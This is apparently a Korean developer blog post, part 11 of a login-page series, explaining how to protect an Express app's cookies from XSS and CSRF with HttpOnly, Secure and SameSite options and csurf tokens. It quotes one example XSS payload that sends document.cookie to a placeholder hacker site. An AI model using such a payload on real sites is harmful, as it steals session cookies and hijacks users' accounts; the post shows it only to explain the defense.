Home 로그인 페이지 만들기 - 11 (XSS, CSRF)
Post
X

로그인 페이지 만들기 - 11 (XSS, CSRF)

XSS

참고 글 : XSS

XSS 공격으로 사용자의 Cookie를 접근하는 것을 막기위한 대응 방법에 대해 알아보곘습니다.


브라우저에 저장된 쿠키는 클라이언트에서 Javascript로 조회가 가능합니다.

cookie-no-option

XSS 공격은 서버 측에서 제공되는 Script가 아닌 권한이 없는 사용자(이하 해커)가 웹사이트에 Script를 삽입하여 의도치 않은 동작을 일으키는 것을 말합니다.

해커가 XSS 공격을 활용해 Cookie를 탈취해 사용한다면 서버는 로그인된 사용자로 요청을 처리하게 됩니다.

1
2
// 예시
location.href = "http://해커사이트/?cookies=" + document.cookie;

대응방법으로 쿠키에 접근하지 못하게 HTTP Only 옵션을 설정합니다.

1
2
3
res.cookie("accessToken", accessToken, {
  httpOnly: true,
});

클라이언트에서 조회되지 않는 것을 확인할 수 있습니다.

cookie-http-only


HTTP Only 옵션을 통해 브라우저에서 Javascript를 이용해 쿠키에 접근하지 못하도록 막았습니다.

하지만, Javascript가 아닌 네트워크를 직접 감청하여 쿠키를 가로챌 수도 있습니다.

이를 막기 위해 HTTPS 프로토콜을 사용해 데이터를 암호화합니다.

HTTPS 프로토콜을 사용하면 쿠키 또한 암호화되어 전송되기 때문에 문제가 발생하지 않습니다.

Secure 옵션을 설정하면 HTTPS 통신 외에서는 쿠키를 전달하지 않습니다.


HTTPS 적용 전이므로 나중에 추가해주겠습니다.

1
2
3
4
5
// AccessToken 재발급
res.cookie("accessToken", newAccessToken, {
  httpOnly: true,
  secure: false,
});

CSRF (Cross-Site Request Forgery)

참고 글 : CSRF

CSRF를 통해 해커는 사용자의 권한을 도용하여 중요 기능을 실행합니다.

이를 막기위한 대응 방법에 대해 알아보겠습니다.


쿠키는 유효한 사이트를 명시하기 위해 Domain을 설정할 수 있습니다.

퍼스트파티 쿠키는 현재 접속해 있는 페이지와 같은 Domain으로 전송되는 쿠키를 의미합니다.

서드파티 쿠키는 현재 접속하고있는 페이지에서 다른 Domain으로 전송되는 쿠키를 의미합니다.


쿠키에 별도로 설정을 가하지 않는다면 모든 HTTP 요청에 대해서 쿠키를 전송하게 됩니다.

CSRF 공격은 이러한 문제를 노린 공격으로 사용자의 권한을 도용하여 특정 웹 사이트의 기능을 실행합니다.

대응 방법으로 SameSite 옵션을 설정합니다.

SameSite 쿠키의 정책으로 None, Lax, Strict 세 가지 종류를 선택할 수 있습니다.

  • None
    SameSite가 탄생하기 전 쿠키와 똑같이 서드 파티 쿠키도 항상 전송합니다.

  • Strict

    퍼스트 파티 쿠키만 전송합니다.

  • Lax

    퍼스트 파티 쿠키와 Top Level Navigation (웹 페이지 이동) 과, 안전한 HTTP 메서드 요청의 경우 전송합니다.

    • 유저가 링크(<a>)를 클릭하거나, window.location.replace 등으로 인해 자동으로 이뤄지는 이동, 302 리다이렉트를 이용한 이동에느 쿠키가 전송됩니다.

    • <iframe>이나 <img>를 문서에 삽입함으로서 발생하는 HTTP 요청은 Navigation이라고 할 수 없으니 쿠키가 전송되지 않습니다.

    • <iframe> 안에서 페이지를 이동하는 경우는 Top Level이라고 할 수 없으므로 쿠키는 전송되지 않습니다.

    • 안전하지 않은 POSTDELETE 같은 요청의 경우, 쿠키는 전송되지 않습니다.

    • GET처럼 서버의 상태를 바꾸지 않을 거라고 기대되는 요청에는 쿠키가 전송됩니다.

이제 AccessToken에 옵션을 추가해서 발급합니다.

1
2
3
4
5
res.cookie("accessToken", accessToken, {
  sameSite: "lax",
  httpOnly: true,
  secure: false,
});

csurf 모듈 (CSRF Token)

참고 글 : CSRF-Token

CSRF Secret와 CSRF Token을 만들어서 서로 매칭이 되는지 확인하는 기능을 제공해주는 csurf 모듈을 사용해 CSRF 공격에 대응해보겠습니다.

Axios를 사용해 POST 요청을 하기때문에 CSRF-Token은 meta 태그에 저장하고 CSRF-Secret은 Cookie에 저장해주겠습니다.


route_user.js 수정

라우터 파일에 csrfProtection 미들웨어를 추가해줍니다.

Get 방식으로 login 페이지를 요청할 때와 POST 방식으로 로그인을 시도할 때 사용합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import express from "express";
import ctrl from "../controllers/controller_user.js";
import validator_user from "../middleware/validator_user.js";

// jwt 검증 미들웨어
import jwt_auth from "../middleware/jwt_auth.js";

// CSRF Token 미들웨어
import csrf from "csurf";
const csrfProtection = csrf({ cookie: true });

const Router = express.Router();

Router.get("/info", jwt_auth, ctrl.output.info);
Router.get("/login", csrfProtection, ctrl.output.login);
Router.get("/register", ctrl.output.register);
Router.get("/logout", ctrl.process.logout);

Router.post("/login", validator_user.login, csrfProtection, ctrl.process.login);
Router.post("/register", validator_user.register, ctrl.process.register);

export default Router;

controller_user.js 수정

GET 방식으로 login 페이지를 요청할 때 csrfProtection 미들웨어에서 넘겨받은 req.csrfToken()을 사용해 토큰을 생성해 넘겨줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import passport from "passport";
import { createPasswordAndSalt } from "../utils/crypto_util.js";
import UserStorage from "../models/model_user.js";
import jwtUtil from "../utils/jwt_util.js";

const output = {
  login: (req, res) => {
    res.render("user/login", { csrfToken: req.csrfToken() });
  },

  ...
};

const process = {
  ...
}

export default { output, process };

login.ejs 수정

넘겨받은 login.ejsmeta 태그를 추가해 csrf-token을 클라이언트로 전달합니다.

1
2
<!-- CSRF Token -->
<meta name="csrf-token" content="<%= csrfToken %>" />

login.js 수정

클라이언트는 meta 태그를 읽어 넘겨받은 csrf-token을 POST 요청할 때 header에 추가해서 요청합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// token 추가해줍니다.
const token = document
  .querySelector('meta[name="csrf-token"]')
  .getAttribute("content");

// axios로 ajax 요청을 할 때 header에 token을 추가해서 보내줍니다.
const req = {
  id: id.value,
  password: password.value,
};

const res = await axios({
  url: "/user/login",
  method: "post",
  headers: {
    "CSRF-Token": token, // 헤더에 'CSRF-Token'을 명시한다
  },
  data: req,
});

Error Handle 추가

POST 요청이 오면 csrfProtection 미들웨어가 CSRF Secret와 CSRF Token이 서로 매칭이 되는지 확인합니다.

만약 요청에 CSRF Token이 없다면 EBADCSRFTOKEN 에러를 내보냅니다.

이를 이용해 Error 핸들러를 수정해줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.use((err, req, res, next) => {
  if (err.code == "EBADCSRFTOKEN") {
    // CSRF token errors 라면 다음과 같이 처리한다.
    return res.json({
      success: false,
      msg: "CSRF 공격 감지",
    });
  }

  console.log("error : \n", err);

  res.status(500).json({
    msg: "Server Error!!",
    error: err,
  });
});
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.